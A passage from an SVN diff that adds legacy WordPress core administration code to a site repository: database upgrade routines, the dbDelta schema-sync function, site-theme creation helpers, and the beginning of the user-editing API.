+				$term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms GROUP BY term_group") + 1;
+				$wpdb->query( $wpdb->prepare("UPDATE $wpdb->terms SET term_group = %d WHERE term_id = %d", $term_group, $id) );
+			}
+		}
+
+		$wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->terms (term_id, name, slug, term_group) VALUES
+		(%d, %s, %s, %d)", $term_id, $name, $slug, $term_group) );
+
+		$count = 0;
+		if ( !empty($category->category_count) ) {
+			$count = (int) $category->category_count;
+			$taxonomy = 'category';
+			$wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count) );
+			$tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id;
+		}
+
+		if ( !empty($category->link_count) ) {
+			$count = (int) $category->link_count;
+			$taxonomy = 'link_category';
+			$wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count) );
+			$tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id;
+		}
+
+		if ( !empty($category->tag_count) ) {
+			$have_tags = true;
+			$count = (int) $category->tag_count;
+			$taxonomy = 'post_tag';
+			$wpdb->insert( $wpdb->term_taxonomy, compact('term_id', 'taxonomy', 'description', 'parent', 'count') );
+			$tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id;
+		}
+
+		if ( empty($count) ) {
+			$count = 0;
+			$taxonomy = 'category';
+			$wpdb->insert( $wpdb->term_taxonomy, compact('term_id', 'taxonomy', 'description', 'parent', 'count') );
+			$tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id;
+		}
+	}
+
+	$select = 'post_id, category_id';
+	if ( $have_tags )
+		$select .= ', rel_type';
+
+	$posts = $wpdb->get_results("SELECT $select FROM $wpdb->post2cat GROUP BY post_id, category_id");
+	foreach ( $posts as $post ) {
+		$post_id = (int) $post->post_id;
+		$term_id = (int) $post->category_id;
+		$taxonomy = 'category';
+		if ( !empty($post->rel_type) && 'tag' == $post->rel_type)
+			$taxonomy = 'tag';
+		$tt_id = $tt_ids[$term_id][$taxonomy];
+		if ( empty($tt_id) )
+			continue;
+
+		$wpdb->insert( $wpdb->term_relationships, array('object_id' => $post_id, 'term_taxonomy_id' => $tt_id) );
+	}
+
+	// < 3570 we used linkcategories.  >= 3570 we used categories and link2cat.
+	if ( $wp_current_db_version < 3570 ) {
+		// Create link_category terms for link categories.  Create a map of link cat IDs
+		// to link_category terms.
+		$link_cat_id_map = array();
+		$default_link_cat = 0;
+		$tt_ids = array();
+		$link_cats = $wpdb->get_results("SELECT cat_id, cat_name FROM " . $wpdb->prefix . 'linkcategories');
+		foreach ( $link_cats as $category) {
+			$cat_id = (int) $category->cat_id;
+			$term_id = 0;
+			$name = $wpdb->escape($category->cat_name);
+			$slug = sanitize_title($name);
+			$term_group = 0;
+
+			// Associate terms with the same slug in a term group and make slugs unique.
+			if ( $exists = $wpdb->get_results( $wpdb->prepare("SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug) ) ) {
+				$term_group = $exists[0]->term_group;
+				$term_id = $exists[0]->term_id;
+			}
+
+			if ( empty($term_id) ) {
+				$wpdb->insert( $wpdb->terms, compact('name', 'slug', 'term_group') );
+				$term_id = (int) $wpdb->insert_id;
+			}
+
+			$link_cat_id_map[$cat_id] = $term_id;
+			$default_link_cat = $term_id;
+
+			$wpdb->insert( $wpdb->term_taxonomy, array('term_id' => $term_id, 'taxonomy' => 'link_category', 'description' => '', 'parent' => 0, 'count' => 0) );
+			$tt_ids[$term_id] = (int) $wpdb->insert_id;
+		}
+
+		// Associate links to cats.
+		$links = $wpdb->get_results("SELECT link_id, link_category FROM $wpdb->links");
+		if ( !empty($links) ) foreach ( $links as $link ) {
+			if ( 0 == $link->link_category )
+				continue;
+			if ( ! isset($link_cat_id_map[$link->link_category]) )
+				continue;
+			$term_id = $link_cat_id_map[$link->link_category];
+			$tt_id = $tt_ids[$term_id];
+			if ( empty($tt_id) )
+				continue;
+
+			$wpdb->insert( $wpdb->term_relationships, array('object_id' => $link->link_id, 'term_taxonomy_id' => $tt_id) );
+		}
+
+		// Set default to the last category we grabbed during the upgrade loop.
+		update_option('default_link_category', $default_link_cat);
+	} else {
+		$links = $wpdb->get_results("SELECT link_id, category_id FROM $wpdb->link2cat GROUP BY link_id, category_id");
+		foreach ( $links as $link ) {
+			$link_id = (int) $link->link_id;
+			$term_id = (int) $link->category_id;
+			$taxonomy = 'link_category';
+			$tt_id = $tt_ids[$term_id][$taxonomy];
+			if ( empty($tt_id) )
+				continue;
+			$wpdb->insert( $wpdb->term_relationships, array('object_id' => $link_id, 'term_taxonomy_id' => $tt_id) );
+		}
+	}
+
+	if ( $wp_current_db_version < 4772 ) {
+		// Obsolete linkcategories table
+		$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'linkcategories');
+	}
+
+	// Recalculate all counts
+	$terms = $wpdb->get_results("SELECT term_taxonomy_id, taxonomy FROM $wpdb->term_taxonomy");
+	foreach ( (array) $terms as $term ) {
+		if ( ('post_tag' == $term->taxonomy) || ('category' == $term->taxonomy) )
+			$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type = 'post' AND term_taxonomy_id = %d", $term->term_taxonomy_id) );
+		else
+			$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term->term_taxonomy_id) );
+		$wpdb->update( $wpdb->term_taxonomy, array('count' => $count), array('term_taxonomy_id' => $term->term_taxonomy_id) );
+	}
+}
+
+/**
+ * Remove old options from the database.
+ *
+ * @since 2.3.0
+ */
+function upgrade_230_options_table() {
+	global $wpdb;
+	$old_options_fields = array( 'option_can_override', 'option_type', 'option_width', 'option_height', 'option_description', 'option_admin_level' );
+	$wpdb->hide_errors();
+	foreach ( $old_options_fields as $old )
+		$wpdb->query("ALTER TABLE $wpdb->options DROP $old");
+	$wpdb->show_errors();
+}
+
+/**
+ * Remove old categories, link2cat, and post2cat database tables.
+ *
+ * @since 2.3.0
+ */
+function upgrade_230_old_tables() {
+	global $wpdb;
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'categories');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'link2cat');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'post2cat');
+}
+
+/**
+ * Upgrade old slugs made in version 2.2.
+ *
+ * @since 2.2.0
+ */
+function upgrade_old_slugs() {
+	// upgrade people who were using the Redirect Old Slugs plugin
+	global $wpdb;
+	$wpdb->query("UPDATE $wpdb->postmeta SET meta_key = '_wp_old_slug' WHERE meta_key = 'old_slug'");
+}
+
+/**
+ * Execute changes made in WordPress 2.5.0.
+ *
+ * @since 2.5.0
+ */
+function upgrade_250() {
+	global $wp_current_db_version;
+
+	if ( $wp_current_db_version < 6689 ) {
+		populate_roles_250();
+	}
+
+}
+
+/**
+ * Execute changes made in WordPress 2.5.1.
+ *
+ * @since 2.5.1
+ */
+function upgrade_251() {
+	global $wp_current_db_version;
+
+	// Make the secret longer
+	update_option('secret', wp_generate_password(64));
+}
+
+/**
+ * Execute changes made in WordPress 2.5.2.
+ *
+ * @since 2.5.2
+ */
+function upgrade_252() {
+	global $wpdb;
+
+	$wpdb->query("UPDATE $wpdb->users SET user_activation_key = ''");
+}
+
+/**
+ * Execute changes made in WordPress 2.6.
+ *
+ * @since 2.6.0
+ */
+function upgrade_260() {
+	global $wp_current_db_version;
+
+	if ( $wp_current_db_version < 8000 )
+		populate_roles_260();
+
+	if ( $wp_current_db_version < 8201 ) {
+		update_option('enable_app', 1);
+		update_option('enable_xmlrpc', 1);
+	}
+}
+
+/**
+ * Execute changes made in WordPress 2.7.
+ *
+ * @since 2.7.0
+ */
+function upgrade_270() {
+	global $wpdb, $wp_current_db_version;
+
+	if ( $wp_current_db_version < 8980 )
+		populate_roles_270();
+
+	// Update post_date for unpublished posts with empty timestamp
+	if ( $wp_current_db_version < 8921 )
+		$wpdb->query( "UPDATE $wpdb->posts SET post_date = post_modified WHERE post_date = '0000-00-00 00:00:00'" );
+}
+
+/**
+ * Execute changes made in WordPress 2.8.
+ *
+ * @since 2.8.0
+ */
+function upgrade_280() {
+	global $wp_current_db_version;
+
+	if ( $wp_current_db_version < 10360 )
+		populate_roles_280();
+}
+
+
+// The functions we use to actually do stuff
+
+// General
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @param string $table_name Database table name to create.
+ * @param string $create_ddl SQL statement to create table.
+ * @return bool If table already exists or was created by function.
+ */
+function maybe_create_table($table_name, $create_ddl) {
+	global $wpdb;
+	if ( $wpdb->get_var("SHOW TABLES LIKE '$table_name'") == $table_name )
+		return true;
+	//didn't find it try to create it.
+	$q = $wpdb->query($create_ddl);
+	// we cannot directly tell that whether this succeeded!
+	if ( $wpdb->get_var("SHOW TABLES LIKE '$table_name'") == $table_name )
+		return true;
+	return false;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @param string $table Database table name.
+ * @param string $index Index name to drop.
+ * @return bool True, when finished.
+ */
+function drop_index($table, $index) {
+	global $wpdb;
+	$wpdb->hide_errors();
+	$wpdb->query("ALTER TABLE `$table` DROP INDEX `$index`");
+	// Now we need to take out all the extra ones we may have created
+	for ($i = 0; $i < 25; $i++) {
+		$wpdb->query("ALTER TABLE `$table` DROP INDEX `{$index}_$i`");
+	}
+	$wpdb->show_errors();
+	return true;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @param string $table Database table name.
+ * @param string $index Database table index column.
+ * @return bool True, when done with execution.
+ */
+function add_clean_index($table, $index) {
+	global $wpdb;
+	drop_index($table, $index);
+	$wpdb->query("ALTER TABLE `$table` ADD INDEX ( `$index` )");
+	return true;
+}
+
+/**
+ ** maybe_add_column()
+ ** Add column to db table if it doesn't exist.
+ ** Returns:  true if already exists or on successful completion
+ **           false on error
+ */
+function maybe_add_column($table_name, $column_name, $create_ddl) {
+	global $wpdb, $debug;
+	foreach ($wpdb->get_col("DESC $table_name", 0) as $column ) {
+		if ($debug) echo("checking $column == $column_name<br />");
+		if ($column == $column_name) {
+			return true;
+		}
+	}
+	//didn't find it try to create it.
+	$q = $wpdb->query($create_ddl);
+	// we cannot directly tell that whether this succeeded!
+	foreach ($wpdb->get_col("DESC $table_name", 0) as $column ) {
+		if ($column == $column_name) {
+			return true;
+		}
+	}
+	return false;
+}
+
+/**
+ * Retrieve all options as it was for 1.2.
+ *
+ * @since 1.2.0
+ *
+ * @return array List of options.
+ */
+function get_alloptions_110() {
+	global $wpdb;
+	if ($options = $wpdb->get_results("SELECT option_name, option_value FROM $wpdb->options")) {
+		foreach ($options as $option) {
+			// "When trying to design a foolproof system,
+			//  never underestimate the ingenuity of the fools :)" -- Dougal
+			if ('siteurl' == $option->option_name) $option->option_value = preg_replace('|/+$|', '', $option->option_value);
+			if ('home' == $option->option_name) $option->option_value = preg_replace('|/+$|', '', $option->option_value);
+			if ('category_base' == $option->option_name) $option->option_value = preg_replace('|/+$|', '', $option->option_value);
+			$all_options->{$option->option_name} = stripslashes($option->option_value);
+		}
+	}
+	return $all_options;
+}
+
+/**
+ * Version of get_option that is private to install/upgrade.
+ *
+ * @since unknown
+ * @access private
+ *
+ * @param string $setting Option name.
+ * @return mixed
+ */
+function __get_option($setting) {
+	global $wpdb;
+
+	if ( $setting == 'home' && defined( 'WP_HOME' ) ) {
+		return preg_replace( '|/+$|', '', constant( 'WP_HOME' ) );
+	}
+
+	if ( $setting == 'siteurl' && defined( 'WP_SITEURL' ) ) {
+		return preg_replace( '|/+$|', '', constant( 'WP_SITEURL' ) );
+	}
+
+	$option = $wpdb->get_var( $wpdb->prepare("SELECT option_value FROM $wpdb->options WHERE option_name = %s", $setting) );
+
+	if ( 'home' == $setting && '' == $option )
+		return __get_option('siteurl');
+
+	if ( 'siteurl' == $setting || 'home' == $setting || 'category_base' == $setting )
+		$option = preg_replace('|/+$|', '', $option);
+
+	@ $kellogs = unserialize($option);
+	if ($kellogs !== FALSE)
+		return $kellogs;
+	else
+		return $option;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @param string $content
+ * @return string
+ */
+function deslash($content) {
+	// Note: \\\ inside a regex denotes a single backslash.
+
+	// Replace one or more backslashes followed by a single quote with
+	// a single quote.
+	$content = preg_replace("/\\\+'/", "'", $content);
+
+	// Replace one or more backslashes followed by a double quote with
+	// a double quote.
+	$content = preg_replace('/\\\+"/', '"', $content);
+
+	// Replace one or more backslashes with one backslash.
+	$content = preg_replace("/\\\+/", "\\", $content);
+
+	return $content;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $queries
+ * @param unknown_type $execute
+ * @return unknown
+ */
+function dbDelta($queries, $execute = true) {
+	global $wpdb;
+
+	// Separate individual queries into an array
+	if( !is_array($queries) ) {
+		$queries = explode( ';', $queries );
+		if('' == $queries[count($queries) - 1]) array_pop($queries);
+	}
+
+	$cqueries = array(); // Creation Queries
+	$iqueries = array(); // Insertion Queries
+	$for_update = array();
+
+	// Create a tablename index for an array ($cqueries) of queries
+	foreach($queries as $qry) {
+		if(preg_match("|CREATE TABLE ([^ ]*)|", $qry, $matches)) {
+			$cqueries[trim( strtolower($matches[1]), '`' )] = $qry;
+			$for_update[$matches[1]] = 'Created table '.$matches[1];
+		}
+		else if(preg_match("|CREATE DATABASE ([^ ]*)|", $qry, $matches)) {
+			array_unshift($cqueries, $qry);
+		}
+		else if(preg_match("|INSERT INTO ([^ ]*)|", $qry, $matches)) {
+			$iqueries[] = $qry;
+		}
+		else if(preg_match("|UPDATE ([^ ]*)|", $qry, $matches)) {
+			$iqueries[] = $qry;
+		}
+		else {
+			// Unrecognized query type
+		}
+	}
+
+	// Check to see which tables and fields exist
+	if($tables = $wpdb->get_col('SHOW TABLES;')) {
+		// For every table in the database
+		foreach($tables as $table) {
+			// If a table query exists for the database table...
+			if( array_key_exists(strtolower($table), $cqueries) ) {
+				// Clear the field and index arrays
+				unset($cfields);
+				unset($indices);
+				// Get all of the field names in the query from between the parens
+				preg_match("|\((.*)\)|ms", $cqueries[strtolower($table)], $match2);
+				$qryline = trim($match2[1]);
+
+				// Separate field lines into an array
+				$flds = explode("\n", $qryline);
+
+				//echo "<hr/><pre>\n".print_r(strtolower($table), true).":\n".print_r($cqueries, true)."</pre><hr/>";
+
+				// For every field line specified in the query
+				foreach($flds as $fld) {
+					// Extract the field name
+					preg_match("|^([^ ]*)|", trim($fld), $fvals);
+					$fieldname = trim( $fvals[1], '`' );
+
+					// Verify the found field name
+					$validfield = true;
+					switch(strtolower($fieldname))
+					{
+					case '':
+					case 'primary':
+					case 'index':
+					case 'fulltext':
+					case 'unique':
+					case 'key':
+						$validfield = false;
+						$indices[] = trim(trim($fld), ", \n");
+						break;
+					}
+					$fld = trim($fld);
+
+					// If it's a valid field, add it to the field array
+					if($validfield) {
+						$cfields[strtolower($fieldname)] = trim($fld, ", \n");
+					}
+				}
+
+				// Fetch the table column structure from the database
+				$tablefields = $wpdb->get_results("DESCRIBE {$table};");
+
+				// For every field in the table
+				foreach($tablefields as $tablefield) {
+					// If the table field exists in the field array...
+					if(array_key_exists(strtolower($tablefield->Field), $cfields)) {
+						// Get the field type from the query
+						preg_match("|".$tablefield->Field." ([^ ]*( unsigned)?)|i", $cfields[strtolower($tablefield->Field)], $matches);
+						$fieldtype = $matches[1];
+
+						// Is actual field type different from the field type in query?
+						if($tablefield->Type != $fieldtype) {
+							// Add a query to change the column type
+							$cqueries[] = "ALTER TABLE {$table} CHANGE COLUMN {$tablefield->Field} " . $cfields[strtolower($tablefield->Field)];
+							$for_update[$table.'.'.$tablefield->Field] = "Changed type of {$table}.{$tablefield->Field} from {$tablefield->Type} to {$fieldtype}";
+						}
+
+						// Get the default value from the array
+							//echo "{$cfields[strtolower($tablefield->Field)]}<br>";
+						if(preg_match("| DEFAULT '(.*)'|i", $cfields[strtolower($tablefield->Field)], $matches)) {
+							$default_value = $matches[1];
+							if($tablefield->Default != $default_value)
+							{
+								// Add a query to change the column's default value
+								$cqueries[] = "ALTER TABLE {$table} ALTER COLUMN {$tablefield->Field} SET DEFAULT '{$default_value}'";
+								$for_update[$table.'.'.$tablefield->Field] = "Changed default value of {$table}.{$tablefield->Field} from {$tablefield->Default} to {$default_value}";
+							}
+						}
+
+						// Remove the field from the array (so it's not added)
+						unset($cfields[strtolower($tablefield->Field)]);
+					}
+					else {
+						// This field exists in the table, but not in the creation queries?
+					}
+				}
+
+				// For every remaining field specified for the table
+				foreach($cfields as $fieldname => $fielddef) {
+					// Push a query line into $cqueries that adds the field to that table
+					$cqueries[] = "ALTER TABLE {$table} ADD COLUMN $fielddef";
+					$for_update[$table.'.'.$fieldname] = 'Added column '.$table.'.'.$fieldname;
+				}
+
+				// Index stuff goes here
+				// Fetch the table index structure from the database
+				$tableindices = $wpdb->get_results("SHOW INDEX FROM {$table};");
+
+				if($tableindices) {
+					// Clear the index array
+					unset($index_ary);
+
+					// For every index in the table
+					foreach($tableindices as $tableindex) {
+						// Add the index to the index data array
+						$keyname = $tableindex->Key_name;
+						$index_ary[$keyname]['columns'][] = array('fieldname' => $tableindex->Column_name, 'subpart' => $tableindex->Sub_part);
+						$index_ary[$keyname]['unique'] = ($tableindex->Non_unique == 0)?true:false;
+					}
+
+					// For each actual index in the index array
+					foreach($index_ary as $index_name => $index_data) {
+						// Build a create string to compare to the query
+						$index_string = '';
+						if($index_name == 'PRIMARY') {
+							$index_string .= 'PRIMARY ';
+						}
+						else if($index_data['unique']) {
+							$index_string .= 'UNIQUE ';
+						}
+						$index_string .= 'KEY ';
+						if($index_name != 'PRIMARY') {
+							$index_string .= $index_name;
+						}
+						$index_columns = '';
+						// For each column in the index
+						foreach($index_data['columns'] as $column_data) {
+							if($index_columns != '') $index_columns .= ',';
+							// Add the field to the column list string
+							$index_columns .= $column_data['fieldname'];
+							if($column_data['subpart'] != '') {
+								$index_columns .= '('.$column_data['subpart'].')';
+							}
+						}
+						// Add the column list to the index create string
+						$index_string .= ' ('.$index_columns.')';
+						if(!(($aindex = array_search($index_string, $indices)) === false)) {
+							unset($indices[$aindex]);
+							//echo "<pre style=\"border:1px solid #ccc;margin-top:5px;\">{$table}:<br />Found index:".$index_string."</pre>\n";
+						}
+						//else echo "<pre style=\"border:1px solid #ccc;margin-top:5px;\">{$table}:<br /><b>Did not find index:</b>".$index_string."<br />".print_r($indices, true)."</pre>\n";
+					}
+				}
+
+				// For every remaining index specified for the table
+				foreach ( (array) $indices as $index ) {
+					// Push a query line into $cqueries that adds the index to that table
+					$cqueries[] = "ALTER TABLE {$table} ADD $index";
+					$for_update[$table.'.'.$fieldname] = 'Added index '.$table.' '.$index;
+				}
+
+				// Remove the original table creation query from processing
+				unset($cqueries[strtolower($table)]);
+				unset($for_update[strtolower($table)]);
+			} else {
+				// This table exists in the database, but not in the creation queries?
+			}
+		}
+	}
+
+	$allqueries = array_merge($cqueries, $iqueries);
+	if($execute) {
+		foreach($allqueries as $query) {
+			//echo "<pre style=\"border:1px solid #ccc;margin-top:5px;\">".print_r($query, true)."</pre>\n";
+			$wpdb->query($query);
+		}
+	}
+
+	return $for_update;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ */
+function make_db_current() {
+	global $wp_queries;
+
+	$alterations = dbDelta($wp_queries);
+	echo "<ol>\n";
+	foreach($alterations as $alteration) echo "<li>$alteration</li>\n";
+	echo "</ol>\n";
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ */
+function make_db_current_silent() {
+	global $wp_queries;
+
+	$alterations = dbDelta($wp_queries);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $theme_name
+ * @param unknown_type $template
+ * @return unknown
+ */
+function make_site_theme_from_oldschool($theme_name, $template) {
+	$home_path = get_home_path();
+	$site_dir = WP_CONTENT_DIR . "/themes/$template";
+
+	if (! file_exists("$home_path/index.php"))
+		return false;
+
+	// Copy files from the old locations to the site theme.
+	// TODO: This does not copy arbitarary include dependencies.  Only the
+	// standard WP files are copied.
+	$files = array('index.php' => 'index.php', 'wp-layout.css' => 'style.css', 'wp-comments.php' => 'comments.php', 'wp-comments-popup.php' => 'comments-popup.php');
+
+	foreach ($files as $oldfile => $newfile) {
+		if ($oldfile == 'index.php')
+			$oldpath = $home_path;
+		else
+			$oldpath = ABSPATH;
+
+		if ($oldfile == 'index.php') { // Check to make sure it's not a new index
+			$index = implode('', file("$oldpath/$oldfile"));
+			if (strpos($index, 'WP_USE_THEMES') !== false) {
+				if (! @copy(WP_CONTENT_DIR . '/themes/default/index.php', "$site_dir/$newfile"))
+					return false;
+				continue; // Don't copy anything
+				}
+		}
+
+		if (! @copy("$oldpath/$oldfile", "$site_dir/$newfile"))
+			return false;
+
+		chmod("$site_dir/$newfile", 0777);
+
+		// Update the blog header include in each file.
+		$lines = explode("\n", implode('', file("$site_dir/$newfile")));
+		if ($lines) {
+			$f = fopen("$site_dir/$newfile", 'w');
+
+			foreach ($lines as $line) {
+				if (preg_match('/require.*wp-blog-header/', $line))
+					$line = '//' . $line;
+
+				// Update stylesheet references.
+				$line = str_replace("<?php echo __get_option('siteurl'); ?>/wp-layout.css", "<?php bloginfo('stylesheet_url'); ?>", $line);
+
+				// Update comments template inclusion.
+				$line = str_replace("<?php include(ABSPATH . 'wp-comments.php'); ?>", "<?php comments_template(); ?>", $line);
+
+				fwrite($f, "{$line}\n");
+			}
+			fclose($f);
+		}
+	}
+
+	// Add a theme header.
+	$header = "/*\nTheme Name: $theme_name\nTheme URI: " . __get_option('siteurl') . "\nDescription: A theme automatically created by the upgrade.\nVersion: 1.0\nAuthor: Moi\n*/\n";
+
+	$stylelines = file_get_contents("$site_dir/style.css");
+	if ($stylelines) {
+		$f = fopen("$site_dir/style.css", 'w');
+
+		fwrite($f, $header);
+		fwrite($f, $stylelines);
+		fclose($f);
+	}
+
+	return true;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $theme_name
+ * @param unknown_type $template
+ * @return unknown
+ */
+function make_site_theme_from_default($theme_name, $template) {
+	$site_dir = WP_CONTENT_DIR . "/themes/$template";
+	$default_dir = WP_CONTENT_DIR . '/themes/default';
+
+	// Copy files from the default theme to the site theme.
+	//$files = array('index.php', 'comments.php', 'comments-popup.php', 'footer.php', 'header.php', 'sidebar.php', 'style.css');
+
+	$theme_dir = @ opendir("$default_dir");
+	if ($theme_dir) {
+		while(($theme_file = readdir( $theme_dir )) !== false) {
+			if (is_dir("$default_dir/$theme_file"))
+				continue;
+			if (! @copy("$default_dir/$theme_file", "$site_dir/$theme_file"))
+				return;
+			chmod("$site_dir/$theme_file", 0777);
+		}
+	}
+	@closedir($theme_dir);
+
+	// Rewrite the theme header.
+	$stylelines = explode("\n", implode('', file("$site_dir/style.css")));
+	if ($stylelines) {
+		$f = fopen("$site_dir/style.css", 'w');
+
+		foreach ($stylelines as $line) {
+			if (strpos($line, 'Theme Name:') !== false) $line = 'Theme Name: ' . $theme_name;
+			elseif (strpos($line, 'Theme URI:') !== false) $line = 'Theme URI: ' . __get_option('url');
+			elseif (strpos($line, 'Description:') !== false) $line = 'Description: Your theme.';
+			elseif (strpos($line, 'Version:') !== false) $line = 'Version: 1';
+			elseif (strpos($line, 'Author:') !== false) $line = 'Author: You';
+			fwrite($f, $line . "\n");
+		}
+		fclose($f);
+	}
+
+	// Copy the images.
+	umask(0);
+	if (! mkdir("$site_dir/images", 0777)) {
+		return false;
+	}
+
+	$images_dir = @ opendir("$default_dir/images");
+	if ($images_dir) {
+		while(($image = readdir($images_dir)) !== false) {
+			if (is_dir("$default_dir/images/$image"))
+				continue;
+			if (! @copy("$default_dir/images/$image", "$site_dir/images/$image"))
+				return;
+			chmod("$site_dir/images/$image", 0777);
+		}
+	}
+	@closedir($images_dir);
+}
+
+// Create a site theme from the default theme.
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function make_site_theme() {
+	// Name the theme after the blog.
+	$theme_name = __get_option('blogname');
+	$template = sanitize_title($theme_name);
+	$site_dir = WP_CONTENT_DIR . "/themes/$template";
+
+	// If the theme already exists, nothing to do.
+	if ( is_dir($site_dir)) {
+		return false;
+	}
+
+	// We must be able to write to the themes dir.
+	if (! is_writable(WP_CONTENT_DIR . "/themes")) {
+		return false;
+	}
+
+	umask(0);
+	if (! mkdir($site_dir, 0777)) {
+		return false;
+	}
+
+	if (file_exists(ABSPATH . 'wp-layout.css')) {
+		if (! make_site_theme_from_oldschool($theme_name, $template)) {
+			// TODO:  rm -rf the site theme directory.
+			return false;
+		}
+	} else {
+		if (! make_site_theme_from_default($theme_name, $template))
+			// TODO:  rm -rf the site theme directory.
+			return false;
+	}
+
+	// Make the new site theme active.
+	$current_template = __get_option('template');
+	if ($current_template == 'default') {
+		update_option('template', $template);
+		update_option('stylesheet', $template);
+	}
+	return $template;
+}
+
+/**
+ * Translate user level to user role name.
+ *
+ * @since unknown
+ *
+ * @param int $level User level.
+ * @return string User role name.
+ */
+function translate_level_to_role($level) {
+	switch ($level) {
+	case 10:
+	case 9:
+	case 8:
+		return 'administrator';
+	case 7:
+	case 6:
+	case 5:
+		return 'editor';
+	case 4:
+	case 3:
+	case 2:
+		return 'author';
+	case 1:
+		return 'contributor';
+	case 0:
+		return 'subscriber';
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ */
+function wp_check_mysql_version() {
+	global $wpdb;
+	$result = $wpdb->check_database_version();
+	if ( is_wp_error( $result ) )
+		die( $result->get_error_message() );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ */
+function maybe_disable_automattic_widgets() {
+	$plugins = __get_option( 'active_plugins' );
+
+	foreach ( (array) $plugins as $plugin ) {
+		if ( basename( $plugin ) == 'widgets.php' ) {
+			array_splice( $plugins, array_search( $plugin, $plugins ), 1 );
+			update_option( 'active_plugins', $plugins );
+			break;
+		}
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/user.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/user.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/user.php	(revision 44)
@@ -0,0 +1,838 @@
+<?php
+/**
+ * WordPress user administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Creates a new user from the "Users" form using $_POST information.
+ *
+ * It seems that the first half is for backwards compatibility, but only
+ * has the ability to alter the user's role. Wordpress core seems to
+ * use this function only in the second way, running edit_user() with
+ * no id so as to create a new user.
+ *
+ * @since 2.0
+ *
+ * @param int $user_id Optional. User ID.
+ * @return null|WP_Error|int Null when adding user, WP_Error or User ID integer when no parameters.
+ */
+function add_user() {
+	if ( func_num_args() ) { // The hackiest hack that ever did hack
+		global $current_user, $wp_roles;
+		$user_id = (int) func_get_arg( 0 );
+
+		if ( isset( $_POST['role'] ) ) {
+			// Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
+			if( $user_id != $current_user->id || $wp_roles->role_objects[$_POST['role']]->has_cap( 'edit_users' ) ) {
+				// If the new role isn't editable by the logged-in user die with error
+				$editable_roles = get_editable_roles();
+				if (!$editable_roles[$_POST['role']])
+					wp_die(__('You can&#8217;t give users that role.'));
+
+				$user = new WP_User( $user_id );
+				$user->set_role( $_POST['role'] );
+			}
+		}
+	} else {
+		add_action( 'user_register', 'add_user' ); // See above
+		return edit_user();
+	}
+}
+
+/**
+ * Edit user settings based on contents of $_POST
+ *
+ * Used on user-edit.php and profile.php to manage and process user options, passwords etc.
+ *
+ * @since 2.0
+ *
+ * @param int $user_id Optional. User ID.
+ * @return int user id of the updated user
+ */
+function edit_user( $user_id = 0 ) {
+	global $current_user, $wp_roles, $wpdb;
+	if ( $user_id != 0 ) {
+		$update = true;
+		$user->ID = (int) $user_id;
+		$userdata = get_userdata( $user_id );
+		$user->user_login = $wpdb->escape( $userdata->user_login );
+	} else {
+		$update = false;
+		$user = '';
+	}
+
+	if ( isset( $_POST['user_login'] ))
+		$user->user_login = esc_html( trim( $_POST['user_login'] ));
+
+	$pass1 = $pass2 = '';
+	if ( isset( $_POST['pass1'] ))
+		$pass1 = $_POST['pass1'];
+	if ( isset( $_POST['pass2'] ))
+		$pass2 = $_POST['pass2'];
+
+	if ( isset( $_POST['role'] ) && current_user_can( 'edit_users' ) ) {
+
+		// Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
+		if( $user_id != $current_user->id || $wp_roles->role_objects[$_POST['role']]->has_cap( 'edit_users' ))
